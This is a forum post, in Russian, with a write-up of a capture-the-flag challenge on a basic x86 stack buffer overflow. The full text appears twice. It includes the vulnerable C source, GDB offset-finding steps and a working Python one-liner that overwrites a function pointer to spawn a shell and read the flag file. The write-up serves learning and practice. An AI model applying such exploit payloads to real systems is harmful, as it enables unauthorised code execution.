fuzzz
10.05.2019, 16:27
ELF x86 - Stack buffer overflow basic 2
Environment configuration :
PIEPosition Independent Executable
RelRORead Only relocations
NXNon-Executable Stack
Heap execNon-Executable Heap
ASLRAddress Space Layout Randomization
SFSource Fortification
SSPStack-Smashing Protection
SRCSource code access
Source code :
C:
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
#include
#include
void
shell
(
)
{
system
(
"/bin/dash"
)
;
}
void
sup
(
)
{
printf
(
"Hey dude ! Waaaaazzaaaaaaaa ?!\n"
)
;
}
main
(
)
{
int
var
;
void
(
*
func
)
(
)
=
sup
;
char
buf
[
128
]
;
fgets
(
buf
,
133
,
stdin
)
;
func
(
)
;
}
Решение
На этот раз есть харденинг защита в стеке и в куче. Она запрещается выполнять код в этих областях памяти. Но эта защита нам ни чем не мешает. Она просто есть, для того чтобы нельзя было пихнуть свой шеллкод так сказать. Решается это дело тоже очень просто. Суть задачи вызвать функцию shell которая предоставит нам командную оболочку, а затем мы сможем получить флаг.
Запускаем программу под GDB и скармливаем ей строчку сгенерированную с сайта.
gdb -q ./ch15
r
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
https://forum.antichat.xyz/attachments/29020382/img_e85b3e762f.png
Получаем адрес смещения 0x33654132
Заходим на сайт и вычисляем смещение
https://forum.antichat.xyz/attachments/29020382/img_b3785e0532.png
128 байт область смещения.
128+4 вся область которая перезаписывает регистр EIP.
Теперь узнаем адрес функции shell.
disas shell
q
y,enter.
https://forum.antichat.xyz/attachments/29020382/img_c8111f0782.png
Функция shell находится в памяти по адресу 0x08048464
Отлично теперь составим эксплойт
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
cat .passwd
Вот так вот можно взять второй флаг.
Environment configuration :
PIEPosition Independent Executable
RelRORead Only relocations
NXNon-Executable Stack
Heap execNon-Executable Heap
ASLRAddress Space Layout Randomization
SFSource Fortification
SSPStack-Smashing Protection
SRCSource code access
Source code :
C:
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
#include
#include
void
shell
(
)
{
system
(
"/bin/dash"
)
;
}
void
sup
(
)
{
printf
(
"Hey dude ! Waaaaazzaaaaaaaa ?!\n"
)
;
}
main
(
)
{
int
var
;
void
(
*
func
)
(
)
=
sup
;
char
buf
[
128
]
;
fgets
(
buf
,
133
,
stdin
)
;
func
(
)
;
}
Решение
На этот раз есть харденинг защита в стеке и в куче. Она запрещается выполнять код в этих областях памяти. Но эта защита нам ни чем не мешает. Она просто есть, для того чтобы нельзя было пихнуть свой шеллкод так сказать. Решается это дело тоже очень просто. Суть задачи вызвать функцию shell которая предоставит нам командную оболочку, а затем мы сможем получить флаг.
Запускаем программу под GDB и скармливаем ей строчку сгенерированную с сайта.
gdb -q ./ch15
r
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
https://forum.antichat.xyz/attachments/29020382/img_e85b3e762f.png
Получаем адрес смещения 0x33654132
Заходим на сайт и вычисляем смещение
https://forum.antichat.xyz/attachments/29020382/img_b3785e0532.png
128 байт область смещения.
128+4 вся область которая перезаписывает регистр EIP.
Теперь узнаем адрес функции shell.
disas shell
q
y,enter.
https://forum.antichat.xyz/attachments/29020382/img_c8111f0782.png
Функция shell находится в памяти по адресу 0x08048464
Отлично теперь составим эксплойт
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
cat .passwd
Вот так вот можно взять второй флаг.